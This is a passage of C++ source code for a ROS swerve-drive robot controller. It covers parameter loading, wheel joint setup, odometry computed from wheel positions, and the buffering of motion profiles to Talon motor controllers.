*>(wheel_link->collision->geometry.get()))->radius;\n\t\treturn true;\n\t}\n\telse if (isSphere(wheel_link))\n\t{\n\t\twheel_radius = (static_cast<urdf::Sphere *>(wheel_link->collision->geometry.get()))->radius;\n\t\treturn true;\n\t}\n\n\tROS_ERROR_STREAM(\"Wheel link \" << wheel_link->name << \" is NOT modeled as a cylinder or sphere!\");\n\treturn false;\n}\n#endif\n\nnamespace talon_swerve_drive_controller\n{\n\n\nTalonSwerveDriveController::TalonSwerveDriveController() :\n\topen_loop_(false),\n\twheel_radius_(0.0),\n\tcmd_vel_timeout_(0.5), //Change to 5.0 for auto path planning testing\n\tallow_multiple_cmd_vel_publishers_(true),\n\tbase_frame_id_(\"base_link\"),\n\todom_frame_id_(\"odom\"),\n\tenable_odom_tf_(true),\n\twheel_joints_size_(0),\n\tpublish_cmd_(false)\n\n\t//model_({0, 0, 0, 0, 0, 0}),\n\t//invertWheelAngle_(false),\n\t//units_({1,1,1,1,1,1}),\n\t//driveRatios_({0, 0, 0}),\n\t//units_({0, 0, 0, 0})\n{\n}\n\nbool TalonSwerveDriveController::init(hardware_interface::TalonCommandInterface *hw,\n\t\t\t\t\t\t\t\t\t  ros::NodeHandle &/*root_nh*/,\n\t\t\t\t\t\t\t\t\t  ros::NodeHandle &controller_nh)\n{\n\tconst std::string complete_ns = controller_nh.getNamespace();\n\tstd::size_t id = complete_ns.find_last_of(\"/\");\n\tname_ = complete_ns.substr(id + 1);\n\n\tmode_.writeFromNonRT(true);\n\n\t// Get joint names from the parameter server\n\tstd::vector<std::string> speed_names, steering_names;\n\tif (!getWheelNames(controller_nh, \"speed\", speed_names) or\n\t\t\t!getWheelNames(controller_nh, \"steering\", steering_names))\n\t{\n\t\treturn false;\n\t}\n\n\tif (speed_names.size() != steering_names.size())\n\t{\n\t\tROS_ERROR_STREAM_NAMED(name_,\n\t\t\t\t\t\t\t   \"#speed (\" << speed_names.size() << \") != \" <<\n\t\t\t\t\t\t\t   \"#steering (\" << steering_names.size() << \").\");\n\t\treturn false;\n\t}\n\telse\n\t{\n\t\twheel_joints_size_ = speed_names.size();\n\n\t\tspeed_joints_.resize(wheel_joints_size_);\n\t\tsteering_joints_.resize(wheel_joints_size_);\n\t}\n\n\t/*ros::NodeHandle n; //Is this bad?\n\n    ros::NodeHandle n_params_behaviors(n, \"auto_params\");\n\n\tif (!n_params_behaviors.getParam(\"num_profile_slots\", num_profile_slots_))\n            ROS_ERROR(\"Didn't read param num_profile_slots in talon_swerve\");\n\t*/num_profile_slots_ = 20;\n\n\t// Odometry related:\n\tdouble publish_rate;\n\tstd::string base_link;\n        controller_nh.param(\"base_link\", base_link, DEF_BASE_LINK);\n\tcontroller_nh.param(\"publish_rate\", publish_rate, 50.0);\n\tROS_INFO_STREAM_NAMED(name_, \"Controller state will be published at \"\n\t\t\t\t\t\t  << publish_rate << \"Hz.\");\n\tpublish_period_ = ros::Duration(1.0 / publish_rate);\n\n\n\n\n\n\n\t// Publish limited velocity:\n\t//controller_nh.param(\"publish_cmd\", publish_cmd_, publish_cmd_);\n\n\t// TODO : see if model_, driveRatios, units can be local instead of member vars\n\t// If either parameter is not available, we need to look up the value in the URDF\n\t//bool lookup_wheel_coordinates = !controller_nh.getParam(\"wheel_coordinates\", wheel_coordinates_);\n\tbool lookup_wheel_radius = !controller_nh.getParam(\"wheel_radius\", wheel_radius_);\n\tbool lookup_max_speed = !controller_nh.getParam(\"max_speed\", model_.maxSpeed);\n\tbool lookup_mass = !controller_nh.getParam(\"mass\", model_.mass);\n\tbool lookup_motor_free_speed = !controller_nh.getParam(\"motor_free_speed\", model_.motorFreeSpeed);\n\tbool lookup_motor_stall_torque = !controller_nh.getParam(\"motor_stall_torque\", model_.motorStallTorque);\n\t// TODO : why not just use the number of wheels read from yaml?\n\tbool lookup_motor_quantity = !controller_nh.getParam(\"motor_quantity\", model_.motorQuantity);\n\tbool lookup_invert_wheel_angle = !controller_nh.getParam(\"invert_wheel_angle\", invertWheelAngle_);\n\tbool lookup_ratio_encoder_to_rotations = !controller_nh.getParam(\"ratio_encoder_to_rotations\", driveRatios_.encodertoRotations);\n\tbool lookup_ratio_motor_to_rotations = !controller_nh.getParam(\"ratio_motor_to_rotations\", driveRatios_.motortoRotations);\n\tbool lookup_ratio_motor_to_steering = !controller_nh.getParam(\"ratio_motor_to_steering\", driveRatios_.motortoSteering); // TODO : not used?\n\tbool lookup_encoder_drive_get_V_units = !controller_nh.getParam(\"encoder_drive_get_V_units\", units_.rotationGetV);\n\tbool lookup_encoder_drive_get_P_units = !controller_nh.getParam(\"encoder_drive_get_P_units\", units_.rotationGetP);\n\tbool lookup_encoder_drive_set_V_units = !controller_nh.getParam(\"encoder_drive_set_V_units\", units_.rotationSetV);\n\tbool lookup_encoder_drive_set_P_units = !controller_nh.getParam(\"encoder_drive_set_P_units\", units_.rotationSetP);\n\tbool lookup_encoder_steering_get_units = !controller_nh.getParam(\"encoder_steering_get_units\", units_.steeringGet);\n\tbool lookup_encoder_steering_set_units = !controller_nh.getParam(\"encoder_steering_set_units\", units_.steeringSet);\n\tbool lookup_f_static = !controller_nh.getParam(\"f_static\", f_static_); //TODO: Maybe use this?\n\tstd::vector<double> wheel1a;\n\tstd::vector<double> wheel2a;\n\tstd::vector<double> wheel3a;\n\tstd::vector<double> wheel4a;\n\tbool lookup_wheel1x = !controller_nh.getParam(\"wheel_coords1x\", wheel_coords_[0][0]);\n\tbool lookup_wheel2x = !controller_nh.getParam(\"wheel_coords2x\", wheel_coords_[1][0]);\n\tbool lookup_wheel3x = !controller_nh.getParam(\"wheel_coords3x\", wheel_coords_[2][0]);\n\tbool lookup_wheel4x = !controller_nh.getParam(\"wheel_coords4x\", wheel_coords_[3][0]);\n\tbool lookup_wheel1y = !controller_nh.getParam(\"wheel_coords1y\", wheel_coords_[0][1]);\n\tbool lookup_wheel2y = !controller_nh.getParam(\"wheel_coords2y\", wheel_coords_[1][1]);\n\tbool lookup_wheel3y = !controller_nh.getParam(\"wheel_coords3y\", wheel_coords_[2][1]);\n\tbool lookup_wheel4y = !controller_nh.getParam(\"wheel_coords4y\", wheel_coords_[3][1]);\n\n\n\n\n\n\tROS_INFO_STREAM(\"Coords: \" << wheel_coords_[0] << \"   \"<< wheel_coords_[1] << \"   \"<< wheel_coords_[2] << \"   \"<< wheel_coords_[3]);\n\tstd::vector<double> offsets;\n\tfor (auto it = steering_names.cbegin(); it != steering_names.cend(); ++it)\n\t{\n\t\tros::NodeHandle nh(controller_nh, *it);\n\t\tdouble dbl_val = 0;\n\t\tif (!nh.getParam(\"offset\", dbl_val))\n\t\t\tROS_ERROR_STREAM(\"Can not read offset for \" << *it);\n\t\toffsets.push_back(dbl_val);\n\t}\n\n\t\n\tprofile_queue_num = controller_nh.advertise<std_msgs::UInt16>(\"profile_queue_num\", 1);\n\n\n\t/*\n\tif (!setOdomParamsFromUrdf(root_nh,\n\t                          speed_names[0],\n\t                          steering_names[0],\n\t                          //lookup_wheel_coordinates,\n\t                          lookup_wheel_radius))\n\t{\n\t  return false;\n\t}\n\n\t// Regardless of how we got the separation and radius, use them\n\t*/\n\t// to set the odometry parameters\n\t//setOdomPubFields(root_nh, controller_nh);\n\n\t/*if (publish_cmd_)\n\t{\n\t  cmd_vel_pub_.reset(new realtime_tools::RealtimePublisher<geometry_msgs::TwistStamped>(controller_nh, \"cmd_vel_out\", 100));\n\t}\n\t*/\n\t// Get the joint object to use in the realtime loop\n\n\t// TODO : all of these need to be read from params\n\t/*\n\tmodel.maxSpeed = 3.3528;\n\tmodel.mass = 70;\n\tmodel.motorFreeSpeed = 5330;\n\tmodel.motorStallTorque = 2.41;\n\tmodel.motorQuantity = 4;\n\t*/\n\tmodel_.wheelRadius =  wheel_radius_;\n\n\t/*\n\tinvertWheelAngle(false);\n\tswerveVar::ratios driveRatios({20, 7, 7});\n\tswerveVar::encoderUnits units({1,1,1,1,1,1});\n\t*/\n\n\tswerveC_ = std::make_shared<swerve>(wheel_coords_, offsets, invertWheelAngle_, driveRatios_, units_, model_);\n\tfor (size_t i = 0; i < wheel_joints_size_; ++i)\n\t{\n\t\tROS_INFO_STREAM_NAMED(name_,\n\t\t\t\t\t\t\t  \"Adding speed motors with joint name: \" << speed_names[i]\n\t\t\t\t\t\t\t  << \" and steering motors with joint name: \" << steering_names[i]);\n\n\t\tros::NodeHandle l_nh(controller_nh, speed_names[i]);\n\t\tspeed_joints_[i].initWithNode(hw, nullptr, l_nh);\n\t\tros::NodeHandle r_nh(controller_nh, steering_names[i]);\n\t\tsteering_joints_[i].initWithNode(hw, nullptr, r_nh);\n\t}\n\n\tsub_command_ = controller_nh.subscribe(\"cmd_vel\", 1, &TalonSwerveDriveController::cmdVelCallback, this);\n\tbrake_serv_ = controller_nh.advertiseService(\"brake\", &TalonSwerveDriveController::brakeService, this);\n\tmotion_profile_serv_ = controller_nh.advertiseService(\"run_profile\", &TalonSwerveDriveController::motionProfileService, this);\n\twheel_pos_serv_ = controller_nh.advertiseService(\"wheel_pos\", &TalonSwerveDriveController::wheelPosService, this);\n\t//sub_run_profile_ = controller_nh.subscribe(\"run_profile\", 1, &TalonSwerveDriveController::runCallback, this);\n\n\n\tdouble odom_pub_freq;\n        controller_nh.param(\"odometry_publishing_frequency\", odom_pub_freq, DEF_ODOM_PUB_FREQ);\n\n\tcomp_odom_ = odom_pub_freq > 0;\n\t//ROS_WARN(\"COMPUTING ODOM\");\n\tif (comp_odom_)\n\t{\n\t\todom_pub_period_ = Duration(1 / odom_pub_freq);\n\t\tcontroller_nh.param(\"publish_odometry_to_base_transform\", pub_odom_to_base_,\n\t\t\t\tDEF_PUB_ODOM_TO_BASE);\n\n\t\tdouble init_x, init_y, init_yaw;\n\t\tcontroller_nh.param(\"initial_x\", init_x, DEF_INIT_X);\n\t\tcontroller_nh.param(\"initial_y\", init_y, DEF_INIT_Y);\n\t\tcontroller_nh.param(\"initial_yaw\", init_yaw, DEF_INIT_YAW);\n\t\tdouble x_sd, y_sd, yaw_sd;\n\t\tcontroller_nh.param(\"x_sd\", x_sd, DEF_SD);\n\t\tcontroller_nh.param(\"y_sd\", y_sd, DEF_SD);\n\t\tcontroller_nh.param(\"yaw_sd\", yaw_sd, DEF_SD);\n\t\tdouble x_speed_sd, y_speed_sd, yaw_speed_sd;\n\t\tcontroller_nh.param(\"x_speed_sd\", x_speed_sd, DEF_SD);\n\t\tcontroller_nh.param(\"y_speed_sd\", y_speed_sd, DEF_SD);\n\t\tcontroller_nh.param(\"yaw_speed_sd\", yaw_speed_sd, DEF_SD);\n\n\t\tinit_odom_to_base_.setIdentity();\n\t\tinit_odom_to_base_.rotate(init_yaw);\n\t\tinit_odom_to_base_.translation() = Vector2d(init_x, init_y);\n\t\todom_to_base_ = init_odom_to_base_;\n\t\todom_rigid_transf_.setIdentity();\n\n\t\twheel_pos_.resize(2, WHEELCOUNT);\n\t\t//ROS_WARN(\"working h\");\n\t\tfor(size_t i = 0; i < WHEELCOUNT; i++)\n\t\t{\n\t\t\t//ROS_INFO_STREAM(\"id: \" << i << \"pos\" << wheel_coords_[i]);\n\t\t\twheel_pos_.col(i) = wheel_coords_[i];\n\t\t\t//ROS_WARN(\"f1.test\");\n\t\t}\n\n\n\t\tconst Vector2d centroid = wheel_pos_.rowwise().mean();\n\t\twheel_pos_.colwise() -= centroid;\n\t\tneg_wheel_centroid_ = -centroid;\n\n\t\tnew_wheel_pos_.resize(WHEELCOUNT, 2);\n\n\t\tstd::string odom_frame, base_frame;\n\t\tcontroller_nh.param(\"odometry_frame\", odom_frame, DEF_ODOM_FRAME);\n\t\tcontroller_nh.param(\"base_frame\", base_frame, DEF_BASE_FRAME);\n\n\t\todom_pub_.msg_.header.frame_id = odom_frame;\n\t\todom_pub_.msg_.child_frame_id = base_frame;\n\n\t\todom_pub_.msg_.pose.pose.position.z = 0;\n\n\t\todom_pub_.msg_.pose.covariance.assign(0);\n\t\todom_pub_.msg_.pose.covariance[0] = x_sd * x_sd;\n\t\todom_pub_.msg_.pose.covariance[7] = y_sd * y_sd;\n\t\todom_pub_.msg_.pose.covariance[35] = yaw_sd * yaw_sd;\n\n\t\todom_pub_.msg_.twist.twist.linear.z = 0;\n\t\todom_pub_.msg_.twist.twist.angular.x = 0;\n\t\todom_pub_.msg_.twist.twist.angular.y = 0;\n\n\t\todom_pub_.msg_.twist.covariance.assign(0);\n\t\todom_pub_.msg_.twist.covariance[0] = x_speed_sd * x_speed_sd;\n\t\todom_pub_.msg_.twist.covariance[7] = y_speed_sd * y_speed_sd;\n\t\todom_pub_.msg_.twist.covariance[35] = yaw_speed_sd * yaw_speed_sd;\n\t\todom_pub_.init(controller_nh, \"odom\", 1);\n\n\t\tif (pub_odom_to_base_)\n\t\t{\n\t\t\todom_tf_pub_.msg_.transforms.resize(1);\n\t\t\tgeometry_msgs::TransformStamped& odom_tf_trans =\n\t\t\t\todom_tf_pub_.msg_.transforms[0];\n\t\t\todom_tf_trans.header.frame_id = odom_pub_.msg_.header.frame_id;\n\t\t\todom_tf_trans.child_frame_id = odom_pub_.msg_.child_frame_id;\n\t\t\todom_tf_trans.transform.translation.z = 0;\n\t\t\todom_tf_pub_.init(controller_nh, \"/tf\", 1);\n\t\t}\n\n\t\tfor (size_t row = 0; row < WHEELCOUNT; row++)\n\t\t{\n\t\t\told_wheel_pos_[row] = {0, 0};\n\t\t\tlast_wheel_rot_[row] = speed_joints_[row].getPosition();\n\t\t}\n\t}\n\n\treturn true;\n}\n\nvoid TalonSwerveDriveController::compOdometry(const Time& time, const double inv_delta_t)\n{\n\t//ROS_INFO_STREAM(\"WORKS\");\n\t// Compute the rigid transform from wheel_pos_ to new_wheel_pos_.\n\n\tstd::array<double, WHEELCOUNT> steer_angles;\n\tfor (size_t k = 0; k < WHEELCOUNT; k++)\n\t{\n\t\tconst double new_wheel_rot = speed_joints_[k].getPosition();\n\t\tconst double delta_rot = new_wheel_rot - last_wheel_rot_[k];\n\t\t//int inverterD = (k%2==0) ? -1 : 1;\n\t\tconst double dist = -delta_rot * wheel_radius_ * driveRatios_.encodertoRotations; //* inverterD;\n\t\t//NOTE: below is a hack, TODO: REMOVE\n\n\t\tsteer_angles[k] = steering_joints_[k].getPosition();\n\t\tconst double steer_angle = swerveC_->getWheelAngle(k, steer_angles[k]); \n\t\tconst Eigen::Vector2d delta_pos = {-dist*sin(steer_angle), dist*cos(steer_angle)};\n\t\tnew_wheel_pos_(k, 0) = wheel_coords_[k][0] + delta_pos[0];\n\t\tnew_wheel_pos_(k, 1) = wheel_coords_[k][1] + delta_pos[1];\n\n\t\t//ROS_INFO_STREAM(\"id: \" << k << \" delta: \" << delta_pos << \" steer: \" << steer_angle << \" dist: \" << dist);\n\t\tlast_wheel_rot_[k] = new_wheel_rot;\n\t}\n\t{\n\t\tstd::lock_guard<std::mutex> lock(steer_angles_mutex_);\n\t\tsteer_angles_ = steer_angles;\n\t}\n\tconst Eigen::RowVector2d new_wheel_centroid =\n\t\tnew_wheel_pos_.colwise().mean();\n\tnew_wheel_pos_.rowwise() -= new_wheel_centroid;\n\n\t//ROS_INFO_STREAM(\"rows: \" << wheel_pos_.rows() << \" cols: \" << wheel_pos_.cols());\n\t//ROS_INFO_STREAM(\"neg wheel centroid\" << neg_wheel_centroid_ << \" new centroid: \" << new_wheel_centroid);\n\n\tconst Matrix2d h = wheel_pos_ * new_wheel_pos_;\n\tconst Eigen::JacobiSVD<Matrix2d> svd(h, Eigen::ComputeFullU | Eigen::ComputeFullV);\n\tMatrix2d rot = svd.matrixV() * svd.matrixU().transpose();\n\tif (rot.determinant() < 0)\n\t\trot.col(1) *= -1;\n\n\todom_rigid_transf_.matrix().block(0, 0, 2, 2) = rot;\n\todom_rigid_transf_.translation() =\n\t\trot * neg_wheel_centroid_ + new_wheel_centroid.transpose();\n\todom_to_base_ = odom_to_base_ * odom_rigid_transf_;\n\n\tconst double odom_x = odom_to_base_.translation().x();\n\tconst double odom_y = odom_to_base_.translation().y();\n\tconst double odom_yaw = atan2(odom_to_base_(1, 0), odom_to_base_(0, 0));\n\n\t//ROS_INFO_STREAM(\"odom_x: \" << odom_x << \" odom_y: \" << odom_y << \" odom_yaw: \" << odom_yaw);\n\t// Publish the odometry.\n\t//TODO CHECK THIS PUB\n\n\tgeometry_msgs::Quaternion orientation;\n\tbool orientation_comped = false;\n\n\t// tf\n\tif (pub_odom_to_base_ && time - last_odom_tf_pub_time_ >= odom_pub_period_ &&\n\t\t\todom_tf_pub_.trylock())\n\t{\n\t\torientation = tf::createQuaternionMsgFromYaw(odom_yaw);\n\t\torientation_comped = true;\n\n\t\tgeometry_msgs::TransformStamped& odom_tf_trans =\n\t\t\todom_tf_pub_.msg_.transforms[0];\n\t\todom_tf_trans.header.stamp = time;\n\t\todom_tf_trans.transform.translation.x = odom_x;\n\t\todom_tf_trans.transform.translation.y = odom_y;\n\t\todom_tf_trans.transform.rotation = orientation;\n\t\tROS_INFO_STREAM(odom_x);\n\t\todom_tf_pub_.unlockAndPublish();\n\t\tlast_odom_tf_pub_time_ = time;\n\t}\n\t// odom\n\tif (time - last_odom_pub_time_ >= odom_pub_period_ && odom_pub_.trylock())\n\t{\n\t\tif (!orientation_comped)\n\t\t\torientation = tf::createQuaternionMsgFromYaw(odom_yaw);\n\n\t\todom_pub_.msg_.header.stamp = time;\n\t\todom_pub_.msg_.pose.pose.position.x = odom_x;\n\t\todom_pub_.msg_.pose.pose.position.y = odom_y;\n\t\todom_pub_.msg_.pose.pose.orientation = orientation;\n\n\t\todom_pub_.msg_.twist.twist.linear.x =\n\t\t\todom_rigid_transf_.translation().x() * inv_delta_t;\n\t\todom_pub_.msg_.twist.twist.linear.y =\n\t\t\todom_rigid_transf_.translation().y() * inv_delta_t;\n\t\todom_pub_.msg_.twist.twist.angular.z =\n\t\t\tatan2(odom_rigid_transf_(1, 0), odom_rigid_transf_(0, 0)) * inv_delta_t;\n\n\t\todom_pub_.unlockAndPublish();\n\t\tlast_odom_pub_time_ = time;\n\t}\n}\n\n\nvoid TalonSwerveDriveController::update(const ros::Time &time, const ros::Duration &period)\n{\n\tconst double delta_t = period.toSec();\n\tconst double inv_delta_t = 1 / delta_t;\n\tif (comp_odom_) compOdometry(time, inv_delta_t);\n\n\t/*\n\t// COMPUTE AND PUBLISH ODOMETRY\n\tif (open_loop_)\n\t{\n\t  odometry_.updateOpenLoop(last0_cmd_.lin, last0_cmd_.ang, time);\n\t}\n\telse\n\t{\n\t  double left_pos  = 0.0;\n\t  double right_pos = 0.0;\n\t  for (size_t i = 0; i < wheel_joints_size_; ++i)\n\t  {\n\t    const double lp = speed_joints_[i].getPosition();\n\t    const double rp = steering_joints_[i].getPosition();\n\t    if (std::isnan(lp) || std::isnan(rp))\n\t      return;\n\n\t    left_pos  += lp;\n\t    right_pos += rp;\n\t  }\n\t  left_pos  /= wheel_joints_size_;\n\t  right_pos /= wheel_joints_size_;\n\n\t  // Estimate linear and angular velocity using joint information\n\t  odometry_.update(left_pos, right_pos, time);\n\t}\n\n\t// Publish odometry message\n\tif (last_state_publish_time_ + publish_period_ < time)\n\t{\n\t  last_state_publish_time_ += publish_period_;\n\t  // Compute and store orientation info\n\t  const geometry_msgs::Quaternion orientation(\n\t        tf::createQuaternionMsgFromYaw(odometry_.getHeading()));\n\n\t  // Populate odom message and publish\n\t  if (odom_pub_->trylock())\n\t  {\n\t    odom_pub_->msg_.header.stamp = time;\n\t    odom_pub_->msg_.pose.pose.position.x = odometry_.getX();\n\t    odom_pub_->msg_.pose.pose.position.y = odometry_.getY();\n\t    odom_pub_->msg_.pose.pose.orientation = orientation;\n\t    odom_pub_->msg_.twist.twist.linear.x  = odometry_.getLinear();\n\t    odom_pub_->msg_.twist.twist.angular.z = odometry_.getAngular();\n\t    odom_pub_->unlockAndPublish();\n\t  }\n\n\t  // Publish tf /odom frame\n\t  if (enable_odom_tf_ && tf_odom_pub_->trylock())\n\t  {\n\t    geometry_msgs::TransformStamped& odom_frame = tf_odom_pub_->msg_.transforms[0];\n\t    odom_frame.header.stamp = time;\n\t    odom_frame.transform.translation.x = odometry_.getX();\n\t    odom_frame.transform.translation.y = odometry_.getY();\n\t    odom_frame.transform.rotation = orientation;\n\t    tf_odom_pub_->unlockAndPublish();\n\t  }\n\t}\n\t*/\n\t// MOVE ROBOT\n\t// Retreive current velocity command and time step:\n\n\t//ROS_INFO_STREAM(\"mode: \" << *(mode_.readFromRT())); \n\t\n\t//For this to be thread safe, the assumption is that the serv is called relatively infrequently\n\tif(full_profile_buffer_.size() != 0)\n\t{\n\t\t//WHERE BE THIS MUTEX\n\t\tfull_profile_cmd cur_prof_cmd = full_profile_buffer_.front();\n\t\tfull_profile_buffer_.pop_front(); \n\t\tif(cur_prof_cmd.brake)\n\t\t{\t\n\t\t\tROS_WARN(\"profile_reset\");\n\t\t\t//required for reset\n\t\t\tfor(size_t k = 0; k < WHEELCOUNT; k++)\n\t\t\t{\n\t\t\t\tsteering_joints_[k].setCustomProfileRun(false);\n\t\t\t\tspeed_joints_[k].setCustomProfileRun(false);\n\t\t\t}\n\t\t\tbrake_struct_other_.lin[0] = 0;\n\t\t\tbrake_struct_other_.lin[1] = 0;\n\t\t\tbrake_struct_other_.ang = 0;\n\t\t\tbrake_struct_other_.stamp = ros::Time::now();\n\t\t\tROS_WARN(\"called in controller\");\n\t\t\tcommand_.writeFromNonRT(brake_struct_other_);\n\t\t\tmode_.writeFromNonRT (true);\n\t\t}\n\n\t\tif(cur_prof_cmd.wipe_all)\n\t\t{\n\t\t\tROS_WARN(\"profile_wipe\");\n\t\t\tfor(int i = 0; i < num_profile_slots_; i++)\n\t\t\t{\t\n\t\t\t\tfor(size_t k = 0; k < WHEELCOUNT; k++)\n\t\t\t\t{\n\t\t\t\t\tfull_profile_[k][0].clear();\n\t\t\t\t\tfull_profile_[k][1].clear();\n\t\t\t\t\tspeed_joints_[k].overwriteCustomProfilePoints(full_profile_[k][0], i);\n\t\t\t\t\tsteering_joints_[k].overwriteCustomProfilePoints(full_profile_[k][1], i);\n\t\t\t\t}\t\n\t\t\t}\n\t\t}\n\n\t\tif(cur_prof_cmd.buffer)\n\t\t{\n\t\t\tROS_WARN(\"buffer in controller - pre loop\");\n\t\t\tfor(size_t p = 0; p < cur_prof_cmd.profiles.size(); p++)\n\t\t\t{\n\t\t\t\tROS_WARN(\"buffer in controller\");\n\t\t\t\tconst int point_count2 = cur_prof_cmd.profiles[p].drive_pos.size();\n\t\t\t\tROS_INFO_STREAM(\"points: \" << point_count2);\n\t\t\t\tfor(size_t i = 0; i < WHEELCOUNT; i++)\n\t\t\t\t{\n\t\t\t\t\tholder_points_[i][0].mode = cur_prof_cmd.profiles[p].hold[0][i] ? hardware_interface::TalonMode_PercentOutput : hardware_interface::TalonMode_Position;\n\t\t\t\t\tholder_points_[i][1].mode = cur_prof_cmd.profiles[p].hold[0][i] ? hardware_interface::TalonMode_MotionMagic : hardware_interface::TalonMode_Position;\n\t\t\t\t\t\n\t\t\t\t\tholder_points_[i][0].pidSlot = 1;\n\t\t\t\t\tholder_points_[i][1].pidSlot = cur_prof_cmd.profiles[p].hold[0][i] ? 0 : 1; //0 and 1 are the same right now\n\n\t\t\t\t\tholder_points_[i][0].setpoint =  cur_prof_cmd.profiles[p].hold[0][i] ? 0 : cur_prof_cmd.profiles[p].drive_pos[0][i];\n\t\t\t\t\tholder_points_[i][1].setpoint = cur_prof_cmd.profiles[p].steer_pos[0][i];\n\n\t\t\t\t\tholder_points_[i][0].fTerm = cur_prof_cmd.profiles[p].hold[0][i] ? 0 : cur_prof_cmd.profiles[p].drive_f[0][i];\n\t\t\t\t\tholder_points_[i][1].fTerm = cur_prof_cmd.profiles[p].hold[0][i] ? 0 : cur_prof_cmd.profiles[p].steer_f[0][i];\n\n\t\t\t\t\tholder_points_[i][0].duration = cur_prof_cmd.profiles[p].dt;\n\t\t\t\t\tholder_points_[i][1].duration = cur_prof_cmd.profiles[p].dt;\n\t\t\t\t\n\t\t\t\t\tholder_points_[i][0].zeroPos = true;\n\t\t\t\t\tholder_points_[i][1].zeroPos = false;\n\t\t\t\t\t\n\t\t\t\t\tfull_profile_[i][0].clear();\n\t\t\t\t\tfull_profile_[i][1].clear();\n\t\t\t\t\t\n\t\t\t\t\tfull_profile_[i][0].push_back(holder_points_[i][0]); //Rather than buffering like this we should write directly to full profile at some point\n\t\t\t\t\tfull_profile_[i][1].push_back(holder_points_[i][1]); //Rather than buffering like this we should write directly to full profile at some point\n\n\t\t\t\t\tholder_points_[i][0].zeroPos = false;\n\t\t\t\t}\n\n\t\t\t\tconst int point_count = cur_prof_cmd.profiles[p].drive_pos.size();\n\t\t\t\tROS_INFO_STREAM(\"points: \" << point_count);\n\t\t\t\tfor(int i = 1; i < point_count; i++)\n\t\t\t\t{\n\t\t\t\t\tfor(size_t k = 0; k < WHEELCOUNT; k++)\n\t\t\t\t\t{\n\t\t\t\t\t\tholder_points_[k][0].mode = cur_prof_cmd.profiles[p].hold[i][k] ? hardware_interface::TalonMode_PercentOutput : hardware_interface::TalonMode_Position;\n\t\t\t\t\t\tholder_points_[k][1].mode = cur_prof_cmd.profiles[p].hold[i][k] ? hardware_interface::TalonMode_MotionMagic : hardware_interface::TalonMode_Position;\n\t\t\t\t\t\t\n\t\t\t\t\t\tholder_points_[k][0].setpoint = cur_prof_cmd.profiles[p].hold[i][k] ? 0 : cur_prof_cmd.profiles[p].drive_pos[i][k];\n\t\t\t\t\t\tholder_points_[k][1].setpoint = cur_prof_cmd.profiles[p].steer_pos[i][k];\n\t\t\t\t\t\t\n\t\t\t\t\t\tholder_points_[k][0].fTerm = cur_prof_cmd.profiles[p].hold[i][k] ? 0 : cur_prof_cmd.profiles[p].drive_f[i][k];\n\t\t\t\t\t\tholder_points_[k][1].fTerm = cur_prof_cmd.profiles[p].hold[i][k] ? 0 : cur_prof_cmd.profiles[p].steer_f[i][k];\n\t\t\t\t\t\t//ROS_INFO_STREAM(\"f: \" << \tholder_points_[k][0].fTerm); \t\n\n\t\t\t\t\t\tholder_points_[k][1].pidSlot = cur_prof_cmd.profiles[p].hold[i][k] ? 0 : 1;\n\t\t\t\n\t\t\t\t\t\tfull_profile_[k][0].push_back(holder_points_[k][0]); //Rather than buffering like this we should write directly to full profile at some point\n\t\t\t\t\t\tfull_profile_[k][1].push_back(holder_points_[k][1]); //Rather than buffering like this we should write directly to full profile at some point\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tROS_WARN(\"done1\");\n\t\t\t\tfor(size_t k = 0; k < WHEELCOUNT; k++)\n\t\t\t\t{\n\t\t\t\t\tspeed_joints_[k].overwriteCustomProfilePoints(full_profile_[k][0], cur_prof_cmd.profiles[p].slot);\n\t\t\t\t\tsteering_joints_[k].overwriteCustomProfilePoints(full_profile_[k][1], cur_prof_cmd.profiles[p].slot);\n\t\t\t\t}\t\n\n\t\t\t\tROS_WARN(\"done\");\n\t\t\t}\n\t\t}\n\n\t\tif(cur_prof_cmd.run)\n\t\t{\t\n\t\t\tROS_WARN(\"running from  controller\");\n\t\t\tmode_.writeFromNonRT(false); //Should be fine\n\t\t\tfor(size_t k = 0; k < WHEELCOUNT; k++)\n\t\t\t{\n\t\t\t\tsteering_joints_[k].setCustomProfileSlot(cur_prof_cmd.run_slot);\n\t\t\t\tspeed_joints_[k].setCustomProfileSlot(cur_prof_cmd.run_slot);\t\t\n\t\t\t}\n\t\t}\n\n\t\tif(cur_prof_cmd.change_queue)\n\t\t{\n\t\t\tfor(size_t k = 0; k < WHEELCOUNT; k++)\n\t\t\t{\n\t\t\t\tsteering_joints_[k].setCustomProfileNextSlot(cur_prof_cmd.new_queue);\n\t\t\t\tspeed_joints_[k].setCustomProfileNextSlot(cur_prof_cmd.new_queue);\t\n\t\t\t}\t\n\t\t}\n\n\t}\n\tstatic double mode_last = ros::Time::now().toSec();\n\tif(*(mode_.readFromRT()))\n\t{\n\n\t\tCommands curr_cmd = *(command_.readFromRT());\n\t\tconst double dt = (time - curr_cmd.stamp).toSec();\n\n\t\t//ROS_INFO_STREAM(\"ang_vel_tar: \" << curr_cmd.ang << \" lin_vel_tar: \" << curr_cmd.lin);\n\n\t\t// Brake if cmd_vel has timeout:\n\t\tif (dt > cmd_vel_timeout_)\n\t\t{\n\t\t\tcurr_cmd.lin = {0.0, 0.0};\n\t\t\tcurr_cmd.ang = 0.0;\n\t\t}\n\n\t\tstatic std::array<Vector2d, WHEELCOUNT> speeds_angles;\n\t\tstatic double time_before_brake = 0;\n\n\t\tfor (size_t i = 0; i < wheel_joints_size_; ++i)\n\t\t{\n\t\t\tsteering_joints_[i].setCustomProfileRun(false);\n\t\t\tspeed_joints_[i].setCustomProfileRun(false);\n\t\t\t\n\t\t\tsteering_joints_[i].setPIDFSlot(0);\n\t\t\tspeed_joints_[i].setPIDFSlot(0);\n\t\t\tsteering_joints_[i].setMode(position_mode);\n\t\t\tspeed_joints_[i].setClosedloopRamp(0);\n\n\t\t\tspeed_joints_[i].setDemand1Value(0);\n\t\t\tsteering_joints_[i].setDemand1Value(0);\n\t\t}\n\t\tstatic double brake_last = ros::Time::now().toSec();\n\t\tif (fabs(curr_cmd.lin[0]) <= 1e-6 && fabs(curr_cmd.lin[1]) <= 1e-6 && fabs(curr_cmd.ang) <= 1e-6)\n\t\t{\n\t\t\tbrake_last = ros::Time::now().toSec();\t\n\t\t\t\n\t\t\tfor (size_t i = 0; i < wheel_joints_size_; ++i)\n\t\t\t{\n\t\t\t\t//ROS_INFO_STREAM(\"id:\" << i << \" speed: \" 